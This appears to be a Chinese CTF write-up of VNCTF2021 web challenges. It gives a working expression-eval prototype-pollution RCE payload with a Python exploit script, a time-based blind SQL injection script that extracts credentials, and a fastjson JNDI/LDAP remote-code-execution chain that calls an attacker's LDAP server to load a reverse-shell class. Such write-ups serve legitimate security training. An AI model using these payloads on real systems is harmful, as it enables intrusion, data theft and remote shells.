VNCTF2021复现

前言

这次比赛体验真是极好,不仅学到了"rop寄存器",还见识了别人家大一大二的水平。嗯!是我太菜了。。。

Ez_game

在game.js中找到了NextLevel()函数,直接控制台调用跳到第十关。尝试一波发现打不死,只能通过别的方法,在game.js中搜索boomerangs和bigBoomerangs,直接playerData.bigBoomerangs和playerData.boomerangs赋值拿镖就行了。

naive

Description:

Are you as naive as Y-sensei?

Hint:

1、不会有web手电脑里没IDA吧,不会吧不会吧

2、仔细阅读package.json哦/汪汪

开局给了源代码,但是code没有给,那就应该是要自己污染或者获取。

通过审计发现/source路由并没有对p进行限制,直接sendFile,可知道存在任意文件读取漏洞

尝试一波path=/app/package.json确定根目录就是app并获得依赖信息

1
2
3
4
5
bindings	"^1.5.0"
express	"^4.17.1"
expression-eval	"^4.0.0"
node-addon-api	"^3.0.2"
seval	"^2.0.1"

接下来就是找路径读文件,由文章猜测/app/build/Release/addon.node,成功下载文件。

不认识逆向大佬,直接wp,获得code为yoshino-s_want_a_gf,qq1735439536,此时进入了expression-eval包的执行过程。

expression-eval包的官方仓库中作者明确指出了存在原型链污染的安全问题,所以我们只要模仿作者给出的范例payload即可完成原型链污染。

1
2
3
4
5
6
7
8
// 例:
eval_(parse('foo[bar](baz)()'), {
  foo: String,
  bar: 'constructor',
  baz: 'console.log("im in ur logs");'
});
// payload
('').constructor.constructor('return global.process.mainModule.require('child_process').execSync('cat /flag > /app/static/flag');')()

到了这里还是不能做出来,是因为hint2:仔细阅读package.json哦/汪汪,从package.json中还可以发现type: "module"

官方文档描述:

A package.json "type" value of "module" tells Node.js to interpret .js files within that package as using ES module syntax.

The "type" field applies not only to initial entry points (node my-app.js) but also to files referenced by import statements and import() expressions.

也就是说type: "module"项表示js使用的是ES module格式,此时导入模块应该使用import而不是require,这点从给出的源代码也可以猜出(然而当时连code都逆不粗来

因此,payload中的require要修改为import,再根据Dynamic Imports语法完善payload

1
('tyskill').constructor.constructor("return import('child_process').then((module) => {module.execSync('cat /flag > /app/static/flag')});")()

然后读取/flag就可获得flag。

exp

1
2
3
4
5
6
7
8
9
import requests
url = "http://09406122-6743-4125-ab1a-4792d7f770a3.node3.buuoj.cn"
data = {
    "e": """('').constructor.constructor("return import('child_process').then((module) => {module.execSync('cat /flag > /app/static/flag')});")()""",
    "code": "yoshino-s_want_a_gf,qq1735439536"
}
requests.post(url + "/eval", data=data)
res = requests.get(url + "/flag")
print(res.text)

realezjvav

笛卡尔积时间盲注

1
<!-- both  username and password are right , then you can enter the next level-->

可知此处需要先获得账号密码才能进行下一步,直接联想到SQL注入。

经过测试在password字段存在笛卡尔积时间注入:

payload

1
2
3
4
# payload1
123'||(if((ascii(substr((select version()),1,1))>50),1,(SELECT count(*) FROM information_schema.columns A,information_schema.columns B,information_schema.tables C)))%23
# payload2
123'||(if((ascii(substr((select version()),1,1))>50),1,(select count(*) from((mysql.help_relation)join(mysql.help_topic)join(mysql.proc)))))%23

注入脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
from time import sleep
target = 'http://d1b712b7-f02f-45c0-b87c-142d052fa3f6.node3.buuoj.cn/user/login'
flag = ""
data = {"username": "admin"}
# p = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # user
# p = "select group_concat(column_name) from information_schema.columns where table_name='user'"  # username,password,...
p = "select group_concat(username,':',password) from`user`" # admin:no_0ne_kn0w_th1s
session = requests.session()
for i in range(13, 100):
    min=32
    max=128
    while 1:
        mid = (max + min) // 2
        if mid==min:
            flag += chr(max)
            print(flag)
            break
        payload = f"123'||(if((ascii(substr(({p}),{i},1))>{mid}),1,(select count(*) from((mysql.help_relation)join(mysql.help_topic)join(mysql.proc)))))#"
        # payload = f"123'||(if((ascii(substr(({p}),{i},1))>{mid}),1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)))#"
        data['password'] = payload
        print(f"{i} : {mid}")
        try:
            r=session.post(url=target, data=data, timeout=2.3)
            min=mid
        except:
            max=mid
        sleep(0.4)

fastjson

无情的C/V机器

登陆进去F12发现/searchimage路由获取图片的方式是直接拼接

1
$("#roleImg").html('<img style="width:180px;height:180px" src="/searchimage?img='+resObj.number +'.png"/>')

存在目录穿越,通过../../../../../pom.xml读pom.xml文件

从文件中可以知道

1
2
3
4
5
6
7
<java.version>1.8</java.version>
...
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.27</version>
</dependency>

再结合角色参数data:{"roleJson":JSON.stringify(jsonStr)}是通过json格式传递,可知(假装知道)是fastjson1.2.27的漏洞

照着fastjson-1.2.47-RCE所说一步步做(开始C/V

1、测试外连

vps开启监听,/create路由发送payload

roleJson={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://IP:7777/Exploit","autoCommit":true}}}

此时返回Hacker,使用Unicode绕过

roleJson={"name":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://IP:PORT/Exploit","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}}

如果监听服务器有流量,可以继续下一步

2、准备LDAP服务和Web服务

将marshalsec-0.0.3-SNAPSHOT-all.jar文件和Exploit.java放在同一目录下,在当前目录下运行LDAP服务,修改IP为当前这台服务器的IP

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit

当前目录下运行Web服务(此处也可以开启别的端口,只要将上面的访问IP修改一下就行)

1
python3 -m http.server 80 或者 python -m SimpleHTTPServer 80

3、修改Exploit并编译成class文件

修改Exploit.java中的反弹IP和端口(准备接收反弹SHELL的服务器IP和监听端口),使用javac编译Exploit.java,生成Exploit.class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错)

1
javac Exploit.java

4、执行

修改ip为正在运行LDAP和Web服务的服务器IP(LDAP端口默认被设置为1389)

roleJson={"name":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://IP:1389/Exploit","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}}

Easy_laravel|unsolve

Description:

简单的漏洞复现 请在隐私模式下访问

Hint:

需要CVE配合Getshell

环境搭建

给的文件中只有一个sh和vendor目录,sh脚本限制只有storage/framework/sessionsstorage/logs有写权限。

从默认页面我们可以知道laravel framework版本是8.22.1且php版本是7.4.3,现在开始搭环境

1
2
3
composer create-project --prefer-dist laravel/laravel laraveldemo 8.4.2
cd laraveldemo
composer install

然后把题目给的vendor覆盖过去,最后启动服务就行

1
2
php artisan key:generate
php artisan serve --host=0.0.0.0

gadget chain挖掘

咕咕咕

参考

V&NCTF2021 官方WP(WEB部分)

2021 VNCTF Web Writeup

fastjson-1.2.47-RCE